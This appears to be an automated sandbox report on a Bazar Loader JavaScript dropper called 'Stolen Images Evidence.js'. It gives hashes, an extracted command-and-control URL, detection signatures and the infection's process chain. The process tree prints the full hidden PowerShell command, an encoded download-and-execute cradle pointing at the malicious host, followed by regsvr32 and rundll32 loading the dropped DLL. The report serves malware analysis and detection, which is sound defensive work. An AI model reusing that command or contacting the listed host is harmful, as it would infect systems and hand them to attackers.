Analysis
-
max time kernel
122s -
max time network
124s -
platform
windows10_x64 -
resource
win10-en-20211014 -
submitted
14-10-2021 18:11
Static task
static1
Behavioral task
behavioral1
Sample
Stolen Images Evidence.js
Resource
win7-en-20210920
Behavioral task
behavioral2
Sample
Stolen Images Evidence.js
Resource
win10-en-20211014
General
-
Target
Stolen Images Evidence.js
-
Size
19KB
-
MD5
c62b322046bee6a5a86c4fecf5dee72e
-
SHA1
18a381be8472fcee623c18cb1bfcf938682bef7d
-
SHA256
edb86c44b69eb1071a138ec2fd99968a18d671ecbcc6cbd7babcde7a132c1e01
-
SHA512
2d19000408a61cbf744defb51fc8f0c64f11c74186cdc2f56317641e16fd7c794919ead08ce119c62ec966dcd5a2c62794845e53f4697e657394c9e90ac1f0dc
Malware Config
Extracted
http://bobersok.top/333g100/index.php
Signatures
-
Bazar Loader
Detected loader normally used to deploy BazarBackdoor malware.
-
Bazar/Team9 Loader payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/2888-141-0x0000000000720000-0x0000000000748000-memory.dmp BazarLoaderVar6 behavioral2/memory/3472-145-0x00000185898F0000-0x0000018589918000-memory.dmp BazarLoaderVar6 -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 13 1432 powershell.exe -
Loads dropped DLL 2 IoCs
Processes:
regsvr32.exerundll32.exepid process 2888 regsvr32.exe 3472 rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 1432 powershell.exe 1432 powershell.exe 1432 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1432 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
wscript.execmd.exepowershell.exedescription pid process target process PID 1816 wrote to memory of 4044 1816 wscript.exe cmd.exe PID 1816 wrote to memory of 4044 1816 wscript.exe cmd.exe PID 4044 wrote to memory of 1432 4044 cmd.exe powershell.exe PID 4044 wrote to memory of 1432 4044 cmd.exe powershell.exe PID 1432 wrote to memory of 2888 1432 powershell.exe regsvr32.exe PID 1432 wrote to memory of 2888 1432 powershell.exe regsvr32.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Stolen Images Evidence.js"1⤵
- Suspicious use of WriteProcessMemory
PID:1816 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c POwersheLL -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYgBvAGIAZQByAHMAbwBrAC4AdABvAHAALwAzADMAMwBnADEAMAAwAC8AaQBuAGQAZQB4AC4AcABoAHAAIgApAA==2⤵
- Suspicious use of WriteProcessMemory
PID:4044 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYgBvAGIAZQByAHMAbwBrAC4AdABvAHAALwAzADMAMwBnADEAMAAwAC8AaQBuAGQAZQB4AC4AcABoAHAAIgApAA==3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1432 -
C:\Windows\System32\regsvr32.exe"C:\Windows\System32\regsvr32.exe" C:\Users\Admin\AppData\Local\Temp\ZrQOBam.dat4⤵
- Loads dropped DLL
PID:2888
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\ZrQOBam.dat,DllRegisterServer {0E26A7BA-3829-46D1-83AC-21349F83EC06}1⤵
- Loads dropped DLL
PID:3472
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\ZrQOBam.datMD5
370c9d108da11f3b4896043bf82f1cce
SHA18b767892c3cb9005d55dee809ecfcb17376a84e4
SHA256a303b6a1d5f1e3ba8e44d60b7f550168246785baf455fe4831181ca23601a926
SHA51270906520231807a233b85057071fdf4d64935b984d49e4b5a6f14ab73719c4acfc40d5cf6a2deda02a2f44e2a3e8969b8140520a302de6ec72f4a23ef8f3fca0
-
\Users\Admin\AppData\Local\Temp\ZrQOBam.datMD5
370c9d108da11f3b4896043bf82f1cce
SHA18b767892c3cb9005d55dee809ecfcb17376a84e4
SHA256a303b6a1d5f1e3ba8e44d60b7f550168246785baf455fe4831181ca23601a926
SHA51270906520231807a233b85057071fdf4d64935b984d49e4b5a6f14ab73719c4acfc40d5cf6a2deda02a2f44e2a3e8969b8140520a302de6ec72f4a23ef8f3fca0
-
\Users\Admin\AppData\Local\Temp\ZrQOBam.datMD5
370c9d108da11f3b4896043bf82f1cce
SHA18b767892c3cb9005d55dee809ecfcb17376a84e4
SHA256a303b6a1d5f1e3ba8e44d60b7f550168246785baf455fe4831181ca23601a926
SHA51270906520231807a233b85057071fdf4d64935b984d49e4b5a6f14ab73719c4acfc40d5cf6a2deda02a2f44e2a3e8969b8140520a302de6ec72f4a23ef8f3fca0
-
memory/1432-122-0x000002A527050000-0x000002A527051000-memory.dmpFilesize
4KB
-
memory/1432-132-0x000002A525200000-0x000002A525202000-memory.dmpFilesize
8KB
-
memory/1432-120-0x000002A525060000-0x000002A525062000-memory.dmpFilesize
8KB
-
memory/1432-116-0x0000000000000000-mapping.dmp
-
memory/1432-121-0x000002A525060000-0x000002A525062000-memory.dmpFilesize
8KB
-
memory/1432-123-0x000002A525060000-0x000002A525062000-memory.dmpFilesize
8KB
-
memory/1432-125-0x000002A525060000-0x000002A525062000-memory.dmpFilesize
8KB
-
memory/1432-126-0x000002A525060000-0x000002A525062000-memory.dmpFilesize
8KB
-
memory/1432-127-0x000002A53FAD0000-0x000002A53FAD1000-memory.dmpFilesize
4KB
-
memory/1432-128-0x000002A525060000-0x000002A525062000-memory.dmpFilesize
8KB
-
memory/1432-133-0x000002A525203000-0x000002A525205000-memory.dmpFilesize
8KB
-
memory/1432-119-0x000002A525060000-0x000002A525062000-memory.dmpFilesize
8KB
-
memory/1432-138-0x000002A525206000-0x000002A525208000-memory.dmpFilesize
8KB
-
memory/1432-135-0x000002A525060000-0x000002A525062000-memory.dmpFilesize
8KB
-
memory/1432-118-0x000002A525060000-0x000002A525062000-memory.dmpFilesize
8KB
-
memory/1432-117-0x000002A525060000-0x000002A525062000-memory.dmpFilesize
8KB
-
memory/2888-134-0x0000000000000000-mapping.dmp
-
memory/2888-140-0x0000000000750000-0x0000000000752000-memory.dmpFilesize
8KB
-
memory/2888-139-0x0000000000750000-0x0000000000752000-memory.dmpFilesize
8KB
-
memory/2888-141-0x0000000000720000-0x0000000000748000-memory.dmpFilesize
160KB
-
memory/3472-144-0x0000018588120000-0x0000018588122000-memory.dmpFilesize
8KB
-
memory/3472-143-0x0000018588120000-0x0000018588122000-memory.dmpFilesize
8KB
-
memory/3472-145-0x00000185898F0000-0x0000018589918000-memory.dmpFilesize
160KB
-
memory/4044-115-0x0000000000000000-mapping.dmp